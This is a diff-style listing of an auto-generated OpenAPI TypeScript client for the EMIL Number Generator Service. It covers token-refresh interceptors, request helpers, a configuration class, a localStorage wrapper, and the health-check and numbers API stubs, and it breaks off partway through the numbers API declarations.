| withCredentials: true, | ||
| }; | ||
| const response = await globalAxios.request<SwitchWorkspaceResponseClass>(options); | ||
| const { data: { accessToken } } = response; | ||
| this.configuration.accessToken = `Bearer ${accessToken}`; | ||
| const refreshToken = this.extractRefreshToken(response); | ||
| if (refreshToken) { | ||
| this.configuration.refreshToken = refreshToken; | ||
| } | ||
| } | ||
| async refreshTokenInternal(): Promise<string> { | ||
| const { username, refreshToken } = this.configuration; | ||
| if (!username || !refreshToken) { | ||
| return ''; | ||
| } | ||
| const options: AxiosRequestConfig = { | ||
| method: 'POST', | ||
| url: `${this.configuration.basePath}/authservice/v1/refresh-token`, | ||
| headers: { | ||
| 'Content-Type': 'application/json', | ||
| Cookie: refreshToken, | ||
| }, | ||
| data: { username: username }, | ||
| withCredentials: true, | ||
| }; | ||
| const { data: { accessToken } } = await globalAxios.request<LoginClass>(options); | ||
| return accessToken; | ||
| } | ||
| private extractRefreshToken(response: AxiosResponse): string { | ||
| if (response.headers && response.headers['set-cookie'] | ||
| && response.headers['set-cookie'].length > 0) { | ||
| return `${response.headers['set-cookie'][0].split(';')[0]};`; | ||
| } | ||
| return ''; | ||
| } | ||
| getConfiguration(): Configuration { | ||
| return this.configuration; | ||
| } | ||
| private attachInterceptor(axios: AxiosInstance) { | ||
| axios.interceptors.response.use( | ||
| (res) => { | ||
| return res; | ||
| }, | ||
| async (err) => { | ||
| let originalConfig = err.config; | ||
| if (err.response) { | ||
| // Access Token was expired | ||
| if (err.response.status === 401 && !originalConfig._retry) { | ||
| originalConfig._retry = true; | ||
| try { | ||
| const tokenString = await this.refreshTokenInternal(); | ||
| const accessToken = `Bearer ${tokenString}`; | ||
| originalConfig.headers['Authorization'] = accessToken; | ||
| this.configuration.accessToken = accessToken; | ||
| return axios.request(originalConfig); | ||
| } catch (_error) { | ||
| if (_error.response && _error.response.data) { | ||
| return Promise.reject(_error.response.data); | ||
| } | ||
| return Promise.reject(_error); | ||
| } | ||
| } | ||
| if (err.response.status === 403 && err.response.data) { | ||
| return Promise.reject(err.response.data); | ||
| } | ||
| } else if(err.message === NETWORK_ERROR_MESSAGE | ||
| && err.isAxiosError | ||
| && originalConfig.headers.hasOwnProperty('Authorization') | ||
| && _retry_count < 4 | ||
| ){ | ||
| _retry_count++; | ||
| try { | ||
| const tokenString = await this.refreshTokenInternal(); | ||
| const accessToken = `Bearer ${tokenString}`; | ||
| _retry = true; | ||
| originalConfig.headers['Authorization'] = accessToken; | ||
| this.configuration.accessToken = accessToken; | ||
| return axios.request({ | ||
| ...originalConfig, | ||
| }); | ||
| } catch (_error) { | ||
| if (_error.response && _error.response.data) { | ||
| return Promise.reject(_error.response.data); | ||
| } | ||
| return Promise.reject(_error); | ||
| } | ||
| } | ||
| return Promise.reject(err); | ||
| } | ||
| ); | ||
| } | ||
| }; | ||
| /** | ||
| * | ||
| * @export | ||
| * @class RequiredError | ||
| * @extends {Error} | ||
| */ | ||
| export class RequiredError extends Error { | ||
| override name: "RequiredError" = "RequiredError"; | ||
| constructor(public field: string, msg?: string) { | ||
| super(msg); | ||
| } | ||
| } | ||
-199
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { Configuration } from "./configuration"; | ||
| import { RequiredError, RequestArgs } from "./base"; | ||
| import { AxiosInstance, AxiosResponse } from 'axios'; | ||
| import { URL, URLSearchParams } from 'url'; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export const DUMMY_BASE_URL = 'https://example.com' | ||
| /** | ||
| * | ||
| * @throws {RequiredError} | ||
| * @export | ||
| */ | ||
| export const assertParamExists = function (functionName: string, paramName: string, paramValue: unknown) { | ||
| if (paramValue === null || paramValue === undefined) { | ||
| throw new RequiredError(paramName, `Required parameter ${paramName} was null or undefined when calling ${functionName}.`); | ||
| } | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export const setApiKeyToObject = async function (object: any, keyParamName: string, configuration?: Configuration) { | ||
| if (configuration && configuration.apiKey) { | ||
| const localVarApiKeyValue = typeof configuration.apiKey === 'function' | ||
| ? await configuration.apiKey(keyParamName) | ||
| : await configuration.apiKey; | ||
| object[keyParamName] = localVarApiKeyValue; | ||
| } | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export const setBasicAuthToObject = function (object: any, configuration?: Configuration) { | ||
| if (configuration && (configuration.username || configuration.password)) { | ||
| object["auth"] = { username: configuration.username, password: configuration.password }; | ||
| } | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export const setBearerAuthToObject = async function (object: any, configuration?: Configuration) { | ||
| if (configuration && configuration.accessToken) { | ||
| const accessToken = typeof configuration.accessToken === 'function' | ||
| ? await configuration.accessToken() | ||
| : await configuration.accessToken; | ||
| object["Authorization"] = configuration.getBearerToken(accessToken); | ||
| } | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export const setOAuthToObject = async function (object: any, name: string, scopes: string[], configuration?: Configuration) { | ||
| if (configuration && configuration.accessToken) { | ||
| const localVarAccessTokenValue = typeof configuration.accessToken === 'function' | ||
| ? await configuration.accessToken(name, scopes) | ||
| : await configuration.accessToken; | ||
| object["Authorization"] = configuration.getBearerToken(localVarAccessTokenValue); | ||
| } | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export const setSearchParams = function (url: URL, ...objects: any[]) { | ||
| const searchParams = new URLSearchParams(url.search); | ||
| for (const object of objects) { | ||
| for (const key in object) { | ||
| if (Array.isArray(object[key])) { | ||
| searchParams.delete(key); | ||
| for (const item of object[key]) { | ||
| searchParams.append(key, item); | ||
| } | ||
| } else { | ||
| searchParams.set(key, object[key]); | ||
| } | ||
| } | ||
| } | ||
| url.search = searchParams.toString(); | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export const serializeDataIfNeeded = function (value: any, requestOptions: any, configuration?: Configuration) { | ||
| const nonString = typeof value !== 'string'; | ||
| const needsSerialization = nonString && configuration && configuration.isJsonMime | ||
| ? configuration.isJsonMime(requestOptions.headers['Content-Type']) | ||
| : nonString; | ||
| return needsSerialization | ||
| ? JSON.stringify(value !== undefined ? value : {}) | ||
| : (value || ""); | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export const toPathString = function (url: URL) { | ||
| return url.pathname + url.search + url.hash | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export const createRequestFunction = function (axiosArgs: RequestArgs, globalAxios: AxiosInstance, BASE_PATH: string, configuration?: Configuration) { | ||
| return <T = unknown, R = AxiosResponse<T>>(axios: AxiosInstance = globalAxios, basePath: string = BASE_PATH) => { | ||
| const axiosRequestArgs = {...axiosArgs.options, url: (configuration?.basePath || basePath) + axiosArgs.url}; | ||
| return axios.request<T, R>(axiosRequestArgs); | ||
| }; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| export interface IStorageConverter<D, SD> { | ||
| toStorageData( data: D ): SD; | ||
| fromStorageData( storageData: SD ): D; | ||
| } | ||
| export interface IStorage { | ||
| get<T>( key: string, converter?: IStorageConverter<T, any> ): T | null; | ||
| set<T>( key: string, value: T, converter?: IStorageConverter<T, any> ): void; | ||
| } | ||
| export class LocalStorage implements IStorage { | ||
| readonly storage: Storage; | ||
| constructor() { | ||
| this.storage = localStorage; | ||
| } | ||
| get<T>( key: string, converter?: IStorageConverter<T, any> ): T | null { | ||
| const jsonValue = this.storage.getItem( key ); | ||
| if ( jsonValue === null ) { | ||
| return null; | ||
| } | ||
| const value = JSON.parse( jsonValue ); | ||
| if ( converter !== undefined ) { | ||
| return converter.fromStorageData( value ); | ||
| } else { | ||
| return value as T; | ||
| } | ||
| } | ||
| set<T>( key: string, value: T, converter?: IStorageConverter<T, any> ): void { | ||
| let valueToStore: any = value; | ||
| if ( converter !== undefined ) { | ||
| valueToStore = converter.toStorageData( value ); | ||
| } | ||
| const jsonValue = JSON.stringify( valueToStore ); | ||
| this.storage.setItem( key, jsonValue ); | ||
| } | ||
| } | ||
| let _defaultStorage: IStorage = null; | ||
| export const defaultStorage = (): IStorage => { | ||
| return _defaultStorage || (_defaultStorage = new LocalStorage()); | ||
| }; |
-118
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| export interface ConfigurationParameters { | ||
| apiKey?: string | Promise<string> | ((name: string) => string) | ((name: string) => Promise<string>); | ||
| username?: string; | ||
| password?: string; | ||
| accessToken?: string | Promise<string> | ((name?: string, scopes?: string[]) => string) | ((name?: string, scopes?: string[]) => Promise<string>); | ||
| basePath?: string; | ||
| baseOptions?: any; | ||
| formDataCtor?: new () => any; | ||
| } | ||
| export class Configuration { | ||
| /** | ||
| * parameter for apiKey security | ||
| * @param name security name | ||
| * @memberof Configuration | ||
| */ | ||
| apiKey?: string | Promise<string> | ((name: string) => string) | ((name: string) => Promise<string>); | ||
| /** | ||
| * parameter for basic security | ||
| * | ||
| * @type {string} | ||
| * @memberof Configuration | ||
| */ | ||
| username?: string; | ||
| /** | ||
| * parameter for basic security | ||
| * | ||
| * @type {string} | ||
| * @memberof Configuration | ||
| */ | ||
| password?: string; | ||
| /** | ||
| * parameter for oauth2 security | ||
| * @param name security name | ||
| * @param scopes oauth2 scope | ||
| * @memberof Configuration | ||
| */ | ||
| accessToken?: string | Promise<string> | ((name?: string, scopes?: string[]) => string) | ((name?: string, scopes?: string[]) => Promise<string>); | ||
| /** | ||
| * override base path | ||
| * | ||
| * @type {string} | ||
| * @memberof Configuration | ||
| */ | ||
| basePath?: string; | ||
| /** | ||
| * base options for axios calls | ||
| * | ||
| * @type {any} | ||
| * @memberof Configuration | ||
| */ | ||
| baseOptions?: any; | ||
| /** | ||
| * The FormData constructor that will be used to create multipart form data | ||
| * requests. You can inject this here so that execution environments that | ||
| * do not support the FormData class can still run the generated client. | ||
| * | ||
| * @type {new () => FormData} | ||
| */ | ||
| formDataCtor?: new () => any; | ||
| /** | ||
| * parameter for automatically refreshing access token for oauth2 security | ||
| * | ||
| * @type {string} | ||
| * @memberof Configuration | ||
| */ | ||
| refreshToken?: string; | ||
| constructor(param: ConfigurationParameters = {}) { | ||
| this.apiKey = param.apiKey; | ||
| this.username = param.username; | ||
| this.password = param.password; | ||
| this.accessToken = param.accessToken; | ||
| this.basePath = param.basePath; | ||
| this.baseOptions = param.baseOptions; | ||
| this.formDataCtor = param.formDataCtor; | ||
| } | ||
| /** | ||
| * Check if the given MIME is a JSON MIME. | ||
| * JSON MIME examples: | ||
| * application/json | ||
| * application/json; charset=UTF8 | ||
| * APPLICATION/JSON | ||
| * application/vnd.company+json | ||
| * @param mime - MIME (Multipurpose Internet Mail Extensions) | ||
| * @return True if the given MIME is JSON, false otherwise. | ||
| */ | ||
| public isJsonMime(mime: string): boolean { | ||
| const jsonMime: RegExp = new RegExp('^(application\/json|[^;/ \t]+\/[^;/ \t]+[+]json)[ \t]*(;.*)?$', 'i'); | ||
| return mime !== null && (jsonMime.test(mime) || mime.toLowerCase() === 'application/json-patch+json'); | ||
| } | ||
| /** | ||
| * Returns "Bearer" token. | ||
| * @param token - access token. | ||
| * @return Bearer token. | ||
| */ | ||
| public getBearerToken(token?: string): string { | ||
| return ('' + token).startsWith("Bearer") ? token : "Bearer " + token; | ||
| } | ||
| } |
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| export * from './api/default-api'; | ||
| export * from './api/numbers-api'; |
-31
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) { | ||
| if (k2 === undefined) k2 = k; | ||
| var desc = Object.getOwnPropertyDescriptor(m, k); | ||
| if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { | ||
| desc = { enumerable: true, get: function() { return m[k]; } }; | ||
| } | ||
| Object.defineProperty(o, k2, desc); | ||
| }) : (function(o, m, k, k2) { | ||
| if (k2 === undefined) k2 = k; | ||
| o[k2] = m[k]; | ||
| })); | ||
| var __exportStar = (this && this.__exportStar) || function(m, exports) { | ||
| for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p); | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| __exportStar(require("./api/default-api"), exports); | ||
| __exportStar(require("./api/numbers-api"), exports); |
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios'; | ||
| import { Configuration } from '../configuration'; | ||
| import { RequestArgs, BaseAPI } from '../base'; | ||
| import { InlineResponse200 } from '../models'; | ||
| /** | ||
| * DefaultApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| export declare const DefaultApiAxiosParamCreator: (configuration?: Configuration) => { | ||
| /** | ||
| * | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| check: (options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| }; | ||
| /** | ||
| * DefaultApi - functional programming interface | ||
| * @export | ||
| */ | ||
| export declare const DefaultApiFp: (configuration?: Configuration) => { | ||
| /** | ||
| * | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| check(options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<InlineResponse200>>; | ||
| }; | ||
| /** | ||
| * DefaultApi - factory interface | ||
| * @export | ||
| */ | ||
| export declare const DefaultApiFactory: (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) => { | ||
| /** | ||
| * | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| check(options?: any): AxiosPromise<InlineResponse200>; | ||
| }; | ||
| /** | ||
| * DefaultApi - object-oriented interface | ||
| * @export | ||
| * @class DefaultApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| export declare class DefaultApi extends BaseAPI { | ||
| /** | ||
| * | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof DefaultApi | ||
| */ | ||
| check(options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<InlineResponse200, any, {}>>; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| var __extends = (this && this.__extends) || (function () { | ||
| var extendStatics = function (d, b) { | ||
| extendStatics = Object.setPrototypeOf || | ||
| ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || | ||
| function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; | ||
| return extendStatics(d, b); | ||
| }; | ||
| return function (d, b) { | ||
| if (typeof b !== "function" && b !== null) | ||
| throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); | ||
| extendStatics(d, b); | ||
| function __() { this.constructor = d; } | ||
| d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); | ||
| }; | ||
| })(); | ||
| var __assign = (this && this.__assign) || function () { | ||
| __assign = Object.assign || function(t) { | ||
| for (var s, i = 1, n = arguments.length; i < n; i++) { | ||
| s = arguments[i]; | ||
| for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) | ||
| t[p] = s[p]; | ||
| } | ||
| return t; | ||
| }; | ||
| return __assign.apply(this, arguments); | ||
| }; | ||
| var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { | ||
| function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } | ||
| return new (P || (P = Promise))(function (resolve, reject) { | ||
| function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } | ||
| function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } | ||
| function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } | ||
| step((generator = generator.apply(thisArg, _arguments || [])).next()); | ||
| }); | ||
| }; | ||
| var __generator = (this && this.__generator) || function (thisArg, body) { | ||
| var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g; | ||
| return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; | ||
| function verb(n) { return function (v) { return step([n, v]); }; } | ||
| function step(op) { | ||
| if (f) throw new TypeError("Generator is already executing."); | ||
| while (g && (g = 0, op[0] && (_ = 0)), _) try { | ||
| if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; | ||
| if (y = 0, t) op = [op[0] & 2, t.value]; | ||
| switch (op[0]) { | ||
| case 0: case 1: t = op; break; | ||
| case 4: _.label++; return { value: op[1], done: false }; | ||
| case 5: _.label++; y = op[1]; op = [0]; continue; | ||
| case 7: op = _.ops.pop(); _.trys.pop(); continue; | ||
| default: | ||
| if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } | ||
| if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } | ||
| if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } | ||
| if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } | ||
| if (t[2]) _.ops.pop(); | ||
| _.trys.pop(); continue; | ||
| } | ||
| op = body.call(thisArg, _); | ||
| } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } | ||
| if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; | ||
| } | ||
| }; | ||
| var __importDefault = (this && this.__importDefault) || function (mod) { | ||
| return (mod && mod.__esModule) ? mod : { "default": mod }; | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.DefaultApi = exports.DefaultApiFactory = exports.DefaultApiFp = exports.DefaultApiAxiosParamCreator = void 0; | ||
| var axios_1 = __importDefault(require("axios")); | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| var common_1 = require("../common"); | ||
| // @ts-ignore | ||
| var base_1 = require("../base"); | ||
| // URLSearchParams not necessarily used | ||
| // @ts-ignore | ||
| var url_1 = require("url"); | ||
| var FormData = require('form-data'); | ||
| /** | ||
| * DefaultApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| var DefaultApiAxiosParamCreator = function (configuration) { | ||
| var _this = this; | ||
| return { | ||
| /** | ||
| * | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| check: function (options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| localVarPath = "/numbergenerator/health"; | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| }); | ||
| }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.DefaultApiAxiosParamCreator = DefaultApiAxiosParamCreator; | ||
| /** | ||
| * DefaultApi - functional programming interface | ||
| * @export | ||
| */ | ||
| var DefaultApiFp = function (configuration) { | ||
| var localVarAxiosParamCreator = (0, exports.DefaultApiAxiosParamCreator)(configuration); | ||
| return { | ||
| /** | ||
| * | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| check: function (options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.check(options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.DefaultApiFp = DefaultApiFp; | ||
| /** | ||
| * DefaultApi - factory interface | ||
| * @export | ||
| */ | ||
| var DefaultApiFactory = function (configuration, basePath, axios) { | ||
| var localVarFp = (0, exports.DefaultApiFp)(configuration); | ||
| return { | ||
| /** | ||
| * | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| check: function (options) { | ||
| return localVarFp.check(options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.DefaultApiFactory = DefaultApiFactory; | ||
| /** | ||
| * DefaultApi - object-oriented interface | ||
| * @export | ||
| * @class DefaultApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| var DefaultApi = /** @class */ (function (_super) { | ||
| __extends(DefaultApi, _super); | ||
| function DefaultApi() { | ||
| return _super !== null && _super.apply(this, arguments) || this; | ||
| } | ||
| /** | ||
| * | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof DefaultApi | ||
| */ | ||
| DefaultApi.prototype.check = function (options) { | ||
| var _this = this; | ||
| return (0, exports.DefaultApiFp)(this.configuration).check(options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| return DefaultApi; | ||
| }(base_1.BaseAPI)); | ||
| exports.DefaultApi = DefaultApi; |
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios'; | ||
| import { Configuration } from '../configuration'; | ||
| import { RequestArgs, BaseAPI } from '../base'; | ||
| import { CreateNumberResponseClass } from '../models'; | ||
| import { GetNumberResponseClass } from '../models'; | ||
| import { ListNumbersResponseClass } from '../models'; | ||
| import { LookupNumberRequestDto } from '../models'; | ||
| import { ResetNumberRequestDto } from '../models'; | ||
| import { UpdateNumberResponseClass } from '../models'; | ||
| /** | ||
| * NumbersApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| export declare const NumbersApiAxiosParamCreator: (configuration?: Configuration) => { | ||
| /** | ||
| * This will create an entity number in the database. Entity number is a way to generate unique numbers for your entities. You can create as many numbers as you want. | ||
| * @summary Create the number | ||
| * @param {string} slug The slug of the number | ||
| * @param {string} type The type of number generator. This determines the structure of the config object. | ||
| * @param {object} config Configuration object that varies based on the type field | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createNumber: (slug: string, type: string, config: object, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| /** | ||
| * Retrieves the details of the number that was previously created. Supply the unique number code that was returned when you created it and Emil Api will return the corresponding number information. | ||
| * @summary Retrieve the number | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} expand | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getNumber: (code: string, expand: string, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| /** | ||
| * Returns a list of Numbers you have previously created. The Numbers are returned in sorted order, with the oldest one appearing first. For more information about pagination, read the Pagination documentation. | ||
| * @summary List Numbers | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time. | ||
| * @param {string} [search] To search the list by any field, pass search=xxx to fetch the result. | ||
| * @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC. | ||
| * @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size. | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listNumbers: (authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| /** | ||
| * The endpoint performs a lookup based on an entity number to retrieve a unique string. | ||
| * @summary Lookup entity number | ||
| * @param {LookupNumberRequestDto} lookupNumberRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| lookupNumber: (lookupNumberRequestDto: LookupNumberRequestDto, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| /** | ||
| * This endpoint facilitates the resetting of an entity number useful for sequence type numbers. | ||
| * @summary Reset entity number | ||
| * @param {ResetNumberRequestDto} resetNumberRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
